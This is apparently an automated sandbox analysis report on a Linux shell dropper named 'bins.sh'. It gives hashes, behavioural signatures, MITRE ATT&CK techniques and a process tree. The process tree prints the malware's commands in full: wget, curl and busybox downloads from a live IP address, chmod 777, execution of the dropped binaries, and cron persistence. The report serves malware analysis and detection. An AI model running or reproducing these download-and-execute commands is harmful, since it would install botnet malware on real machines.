Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
04-11-2024 17:42
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
a0dad1a573f72a6534abb219fcb609c3
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SHA1
140b3643fa1f39b4149ba4ecf7b68c13e59fad26
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SHA256
79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a
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SHA512
736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401
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SSDEEP
192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd
Malware Config
Signatures
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Contacts a large (2075) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid Process 754 chmod 682 chmod 726 chmod -
Executes dropped EXE 3 IoCs
Processes:
rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6YtczVWka3o8UvvUPrq8vvbSKgmuslpFilShkqdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ranioc pid Process /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt 683 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk 728 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran 755 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran -
Renames itself 1 IoCs
Processes:
qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ranpid Process 756 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.DOReie crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curlcurlcurldescription ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Processes:
qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Rancurlcrontabdescription ioc Process File opened for reading /proc/954/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1001/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1012/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/308/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/907/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/947/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1040/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/898/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/964/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1013/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/922/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/785/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/912/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/919/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/865/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1038/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/807/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/825/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/876/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/903/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/946/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems crontab File opened for reading /proc/41/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1019/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/974/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/6/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/868/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/886/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/957/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/4/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/830/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/884/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/872/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/29/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/798/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/859/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/881/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/890/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/980/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1039/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/13/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/224/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/852/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/991/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/995/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/774/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/820/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/982/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/850/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/885/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/671/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/809/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/818/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/836/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/867/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1049/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1000/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1009/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/1024/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/948/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/956/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran File opened for reading /proc/981/cmdline qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxwgetbusyboxwgetcurlwgetcurlbusyboxdescription ioc Process File opened for modification /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt curl File opened for modification /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt busybox File opened for modification /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk wget File opened for modification /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk busybox File opened for modification /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt wget File opened for modification /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk curl File opened for modification /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran wget File opened for modification /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran curl File opened for modification /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:647
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/bin/rm/bin/rm bins.sh2⤵PID:649
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/usr/bin/wgetwget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵
- Writes file to tmp directory
PID:650
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/usr/bin/curlcurl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:676
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵
- Writes file to tmp directory
PID:679
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/bin/chmodchmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵
- File and Directory Permissions Modification
PID:682
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/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵
- Executes dropped EXE
PID:683
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/bin/rmrm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt2⤵PID:686
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/usr/bin/wgetwget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵
- Writes file to tmp directory
PID:688
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/usr/bin/curlcurl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:702
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵
- Writes file to tmp directory
PID:716
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/bin/chmodchmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵
- File and Directory Permissions Modification
PID:726
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/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵
- Executes dropped EXE
PID:728
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/bin/rmrm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk2⤵PID:731
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/usr/bin/wgetwget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵
- Writes file to tmp directory
PID:732
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/usr/bin/curlcurl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:738
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵
- Writes file to tmp directory
PID:747
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/bin/chmodchmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵
- File and Directory Permissions Modification
PID:754
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/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:755 -
/bin/shsh -c "crontab -l"3⤵PID:757
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:758
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/bin/shsh -c "crontab -"3⤵PID:761
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:762
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/bin/rmrm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran2⤵PID:776
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/usr/bin/wgetwget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw2⤵PID:779
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
210B
MD59800dc4c6995ee0d2e69500da448d290
SHA1723bd88e57e51ebe038aefd57a9def218fdbb1d8
SHA256446a623cfd93974f56c8ce74a95dd522fc359a44d7a32f584b2550d69981be51
SHA512167a3c5efebf90d8acfbc27e33792ff379ac6c2f6a56a2f86d294ebcb1307ee685718798653e0c429546797834a66132b847e89a1db207362626a0d7199829f1